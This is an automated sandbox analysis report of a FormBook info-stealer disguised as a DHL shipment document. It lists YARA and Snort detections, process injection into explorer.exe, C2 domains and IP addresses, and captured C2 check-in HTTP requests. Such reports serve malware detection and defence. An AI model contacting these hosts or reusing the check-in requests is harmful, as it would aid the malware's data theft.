Windows Analysis Report
DHL Shipment doc.exe

Antivirus detection for URL or domain

Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipment doc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipment doc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.738326469.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.941125718.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.804375407.00000000016D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.689082555.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.720424753.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.940941423.0000000004B30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.797281686.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.688266335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.799667944.0000000001360000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.938025961.0000000000E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.693081041.0000000004419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: www.floridanratraining.com/how6/	Avira URL Cloud: Label: malware
Source: http://www.auctions.email/how6/?W6vtR=0inXDaq5MxudMpH6GZOYsbvs/BtQ0SlGgc0yMNKfti2SPFqDmOiUae5rQ5wMEYlWCo0z&pN6=9ri0dbnPLFLdd	Avira URL Cloud: Label: malware

Machine Learning detection for sample

Source: DHL Shipment doc.exe

Joe Sandbox ML: detected

Source: 3.0.DHL Shipment doc.exe.400000.4.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.0.DHL Shipment doc.exe.400000.6.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.2.DHL Shipment doc.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.0.DHL Shipment doc.exe.400000.8.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: DHL Shipment doc.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: DHL Shipment doc.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: StaticArrayInitTypeSize40.pdbxD source: DHL Shipment doc.exe
Source:	Binary string: msiexec.pdb source: DHL Shipment doc.exe, 00000003.00000002.804927293.00000000033B0000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: StaticArrayInitTypeSize40.pdb source: DHL Shipment doc.exe
Source:	Binary string: msiexec.pdbGCTL source: DHL Shipment doc.exe, 00000003.00000002.804927293.00000000033B0000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: DHL Shipment doc.exe, 00000003.00000002.801396989.00000000014BF000.00000040.00000800.00020000.00000000.sdmp, DHL Shipment doc.exe, 00000003.00000002.799983136.00000000013A0000.00000040.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.941198488.0000000004CE0000.00000040.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.941394667.0000000004DFF000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: DHL Shipment doc.exe, 00000003.00000002.801396989.00000000014BF000.00000040.00000800.00020000.00000000.sdmp, DHL Shipment doc.exe, 00000003.00000002.799983136.00000000013A0000.00000040.00000800.00020000.00000000.sdmp, msiexec.exe, msiexec.exe, 0000000B.00000002.941198488.0000000004CE0000.00000040.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.941394667.0000000004DFF000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: autoconv.pdb source: DHL Shipment doc.exe, 00000003.00000003.788765239.00000000033B0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: autoconv.pdbGCTL source: DHL Shipment doc.exe, 00000003.00000003.788765239.00000000033B0000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 4x nop then pop edi	3_2_0040C3AE
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 4x nop then pop edi	3_2_00415681
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then pop edi	11_2_00E9C3AE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then pop edi	11_2_00EA5681

Networking

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49825 -> 35.213.137.92:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49825 -> 35.213.137.92:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49825 -> 35.213.137.92:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49839 -> 64.190.62.111:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49839 -> 64.190.62.111:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49839 -> 64.190.62.111:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49845 -> 37.140.192.43:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49845 -> 37.140.192.43:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49845 -> 37.140.192.43:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: www.bbgm4egda.xyz
Source: C:\Windows\explorer.exe	Domain query: www.metronixmedical.com
Source: C:\Windows\explorer.exe	Domain query: www.auctions.email
Source: C:\Windows\explorer.exe	Domain query: www.klopert77.com
Source: C:\Windows\explorer.exe	Network Connect: 81.169.145.72 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 35.213.137.92 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 64.190.62.111 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.solatopotato.com

Performs DNS queries to domains with low reputation

Source: C:\Windows\explorer.exe

DNS query: www.bbgm4egda.xyz

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.floridanratraining.com/how6/

Source: Joe Sandbox View	ASN Name: STRATOSTRATOAGDE STRATOSTRATOAGDE
Source: Joe Sandbox View	ASN Name: NBS11696US NBS11696US

Source: global traffic	HTTP traffic detected: GET /how6/?W6vtR=eO7AK5UTSuqTcoXAE4JKPt5tOBv6nnmPk0M2G0ISpIO4jWwGwHlgDwMnGUt6OvGQoWpI&pN6=9ri0dbnPLFLdd HTTP/1.1Host: www.metronixmedical.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /how6/?W6vtR=0inXDaq5MxudMpH6GZOYsbvs/BtQ0SlGgc0yMNKfti2SPFqDmOiUae5rQ5wMEYlWCo0z&pN6=9ri0dbnPLFLdd HTTP/1.1Host: www.auctions.emailConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /how6/?W6vtR=4EPEhjHsb2zicvYNP8lD0qzrINMa8IRsv4Cq+fHosD6XE0pK2EAVk/7C/sJ+vhveOIRa&pN6=9ri0dbnPLFLdd HTTP/1.1Host: www.solatopotato.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 81.169.145.72 81.169.145.72

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Feb 2022 10:23:34 GMTServer: Apache/2.4.52 (Unix)X-Powered-By: PHP/7.4.27X-UA-Compatible: IE=edgeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://solpotato.com/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8Connection: closeTransfer-Encoding: chunkedData Raw: 32 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 20 26 23 38 32 31 31 3b 20 53 6f 6c 61 74 6f 20 50 6f 74 61 74 6f 20 26 23 38 32 31 31 3b 20 4c 65 67 65 6e 64 61 72 79 20 53 6f 6c 61 6e 61 20 50 6f 74 61 74 6f 65 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 6f 6c 70 6f 74 61 74 6f 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 53 6f 6c 61 74 6f 20 50 6f 74 61 74 6f 20 2d 20 4c 65 67 65 6e 64 61 72 79 20 53 6f 6c 61 6e 61 20 50 6f 74 61 74 6f 65 73 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 6f 6c 70 6f 74 61 74 6f 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 53 6f 6c 61 74 6f 20 50 6f 74 61 74 6f 20 2d 20 4c 65 67 65 6e 64 61 72 79 20 53 6f 6c 61 6e 61 20 50 6f 74 61 74 6f 65 73 20 26 72 61 71 75 6f 3b 20 4b 6f 6d 6d 65 6e 74 61 72 2d 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 6f 6c 70 6f 74 61 74 6f 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 50 6f 64 63 61 73 74 20 46 65 65 64 3a 20 20 28 4d 50 33 20 46 65 65 64 29 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2

Source: unknown

DNS traffic detected: queries for: www.bbgm4egda.xyz

Source: global traffic	HTTP traffic detected: GET /how6/?W6vtR=eO7AK5UTSuqTcoXAE4JKPt5tOBv6nnmPk0M2G0ISpIO4jWwGwHlgDwMnGUt6OvGQoWpI&pN6=9ri0dbnPLFLdd HTTP/1.1Host: www.metronixmedical.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /how6/?W6vtR=0inXDaq5MxudMpH6GZOYsbvs/BtQ0SlGgc0yMNKfti2SPFqDmOiUae5rQ5wMEYlWCo0z&pN6=9ri0dbnPLFLdd HTTP/1.1Host: www.auctions.emailConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /how6/?W6vtR=4EPEhjHsb2zicvYNP8lD0qzrINMa8IRsv4Cq+fHosD6XE0pK2EAVk/7C/sJ+vhveOIRa&pN6=9ri0dbnPLFLdd HTTP/1.1Host: www.solatopotato.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: DHL Shipment doc.exe, 00000000.00000002.692578717.0000000001570000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipment doc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipment doc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.DHL Shipment doc.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.738326469.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.941125718.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.804375407.00000000016D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.689082555.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.720424753.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.940941423.0000000004B30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.797281686.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.688266335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.799667944.0000000001360000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.938025961.0000000000E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.693081041.0000000004419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: 3.0.DHL Shipment doc.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.DHL Shipment doc.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.DHL Shipment doc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.DHL Shipment doc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.DHL Shipment doc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.DHL Shipment doc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.DHL Shipment doc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.DHL Shipment doc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.DHL Shipment doc.exe.34817e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 0.2.DHL Shipment doc.exe.3431884.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 3.0.DHL Shipment doc.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.DHL Shipment doc.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.DHL Shipment doc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.DHL Shipment doc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.DHL Shipment doc.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.DHL Shipment doc.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.738326469.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.738326469.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.941125718.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.941125718.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.804375407.00000000016D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.804375407.00000000016D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.689082555.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000000.689082555.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.720424753.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.720424753.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.940941423.0000000004B30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.940941423.0000000004B30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.797281686.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.797281686.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.688266335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000000.688266335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.799667944.0000000001360000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.799667944.0000000001360000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.938025961.0000000000E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.938025961.0000000000E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.693081041.0000000004419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.693081041.0000000004419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: DHL Shipment doc.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: 3.0.DHL Shipment doc.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.DHL Shipment doc.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.DHL Shipment doc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.DHL Shipment doc.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.DHL Shipment doc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.DHL Shipment doc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.DHL Shipment doc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.DHL Shipment doc.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.DHL Shipment doc.exe.34817e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 0.2.DHL Shipment doc.exe.3431884.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 3.0.DHL Shipment doc.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.DHL Shipment doc.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.DHL Shipment doc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.DHL Shipment doc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.DHL Shipment doc.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.DHL Shipment doc.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.738326469.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.738326469.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
